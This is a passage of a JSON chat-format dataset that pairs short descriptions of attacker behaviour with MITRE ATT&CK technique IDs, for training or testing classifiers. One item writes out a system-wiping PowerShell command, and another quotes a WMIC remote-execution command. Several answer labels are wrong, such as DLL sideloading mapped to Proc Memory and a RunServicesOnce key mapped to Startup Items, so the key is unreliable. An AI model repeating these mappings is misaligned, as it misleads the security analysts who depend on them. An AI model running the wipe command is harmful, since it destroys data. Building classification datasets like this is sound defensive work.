                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a new Windows Scheduled Task that runs a malicious PowerShell script every hour to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm calculates domain names using a proprietary algorithm that incorporates the system’s CPU ID, then queries DNS for C2 contact."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise: attackers insert malicious code into a popular open‑source library, which is then built into downstream applications."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses a public web service for data exfiltration, uploading encrypted blobs to the service."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used the Windows command shell to execute \"wmic process call create\" for remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses PowerShell's Get-ItemProperty on HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall to enumerate software."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malicious actor embeds a secondary payload in the resource fork of a .txt file, making it invisible to standard file viewers."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set embeds a self‑destruct routine that calls \"Remove-Item -Path $env:SystemRoot\\* -Recurse -Force\" after data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting insecure token storage, the attacker steals the refresh token from the app's keychain."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Azure Virtual Desktop to establish a remote session and execute commands on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploited a ZeroLogon vulnerability to reset the machine account password and then updated domain trust relationships to include their command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a serverless function using the OpenFaaS platform to execute data exfiltration scripts."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages PowerView's Get-NetDomainTrust to enumerate all domain trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the Unix '/bin/sh' interpreter to chain commands that disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a DDE command that launches cmd.exe with a base64-encoded payload, establishing a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a cloud breach, the intruder runs the AWS CLI command `aws iam get-group --group-name Administrators` to enumerate group members and permissions."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group changes the Outlook Home Page registry value to a remote malicious page, triggering execution each time Outlook is launched."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the Run key in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion to add a malicious executable for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary applied a dictionary attack combined with rule‑based mutations to crack password hashes from a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor leverages the Windows API NetShareEnum function to enumerate all network shares on the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds an entry to the Registry's RunServicesOnce key, triggering execution during the next system startup."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses the AWS console to add a new user and assigns the AdministratorAccess policy."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged Windows API calls to retrieve the system's network connection tables."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a cross‑site scripting vulnerability in the internal forum to inject defaced content into threads."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion utilizes a tainted ISO file to install a hidden payload during the operating system installation process."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encodes data and posts it to a malicious Slack webhook for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration to Shared Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a memory analysis tool to locate password strings within securityd's active memory."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses internet-wide scanning tools like Shodan to discover unsecured database instances and enumerate their schemas."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised service account to request MFA challenges continuously, increasing the chance of a user inadvertently approving an attacker's login."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a hidden window into a legitimate process, setting the window's visibility attributes to \"never show\" on the desktop."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group utilizes the Windows API function MiniDumpWriteDump to dump LSASS memory during system boot."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor floods a cloud-based API endpoint with excessive POST requests, exhausting rate limits and rendering the service unavailable to users."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor manipulates access tokens or authentication cookies to maintain persistence on a compromised system, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain involved calling the Docker Engine API to create a container that executed a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat injects custom code into the Windows LSASS process to harvest and replay authentication hashes."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee clicks on a link in a calendar invitation that appears to be a meeting agenda, which actually points to a malicious script hosted on a cloud storage service."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses standard web browsing traffic to disguise C2 communications, blending in with normal HTTP(S) traffic."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor injects code into the system's boot sector, allowing it to run before the OS kernel is loaded."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a hidden .desktop file in the GUI's autostart directory, causing the payload to execute automatically upon user login."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs credentialed and non-credentialed scans to map vulnerable systems within the target organization."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain includes extracting a password hash from an infected server and using it to bypass two-factor authentication on a web service."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data by repeatedly sending packets that each contain less than the maximum allowed 1 MB."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through PowerView, the attacker calls `Get-NetDomainTrust` to enumerate domain trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a vulnerable SUID executable to gain elevated rights on a compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that modifies the home page of an e‑commerce site by appending a hidden form that exfiltrates credit‑card numbers."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through compromised credentials, the threat actor inserts a hidden backdoor entry into the configuration files stored on the server, enabling persistent access."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro drops a shell script that changes the mode of /usr/local/bin/sshd to 4755, making the SSH daemon run with setuid root, facilitating persistent privileged access on macOS."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "External defacement was achieved by exploiting a remote code execution flaw in the web server, allowing the attacker to modify publicly served files."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised software development pipeline injects malicious code into the final product before release."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor disables kernel auditing by setting the kernel.audit=0 sysctl parameter, disabling event collection."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the lack of pre‑authentication for certain domain users to request AS‑REP data, which is then subjected to a password cracking process to recover the clear‑text password."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves installing an outdated system image to re‑activate deprecated services."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware payload was stored on the file system as an encrypted .txt file, with the decryption key fetched from a remote C2 server during execution."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a module that captures user’s voice calls via VoIP client."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party CDN node was used to serve altered JavaScript, causing the target website to display defaced content to end users."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network traffic is obfuscated by wrapping payloads in a symmetric encryption layer using a hard‑coded key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage team buys the victim's custom malware analysis reports and reverse‑engineered binaries from a covert market."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using VDSO manipulation, the attacker alters the kernel's user-space interface to execute injected code within a target binary."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Windows Service Control Manager to stop security services before installing ransomware."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage publicly exposed serverless endpoints to download additional payloads onto victim systems."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker disables or uninstalls backup agents on the host to hinder disaster recovery processes."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables the syslog service, halting logging of future events."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a compromised web server to relay malicious traffic, employing domain fronting to hide the true destination by setting the TLS SNI to a benign domain while sending HTTP requests to a malicious host."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script establishes a Tor hidden service to relay communications through an encrypted onion routing channel."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the .NET profiling API by configuring COR_PROFILER to load a custom DLL that captures credentials."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 uses a custom compression algorithm followed by an unconventional Base85 encoding to hide data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries infiltrate a motherboard manufacturer's production line to insert malicious firmware before devices are shipped to customers."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat sets up a SOCKS proxy tunnel over a legitimate proxy service, routing its malicious traffic through the proxy to obscure its origin."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs DLL sideloading by placing a malicious DLL in the same directory as a legitimate executable, causing the process to load the malicious code into its memory."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless malware variant invoked the \"dpapi\" API to retrieve encrypted credentials stored in the user's profile directory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers execute a command to remove all files matching *.log in the security folder to cover their tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers rename the legitimate \"taskmgr.exe\" binary to \"service.exe\" after injecting malicious code, making the change less noticeable."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys a Python-based data exfiltration tool that compresses logs before uploading."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set uses InstallUtil.exe to proxy execution of a remote PowerShell script, employing the technique known as T1218.004."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email with a malicious Word document attachment is sent to a target employee, who opens it and triggers a macro that installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
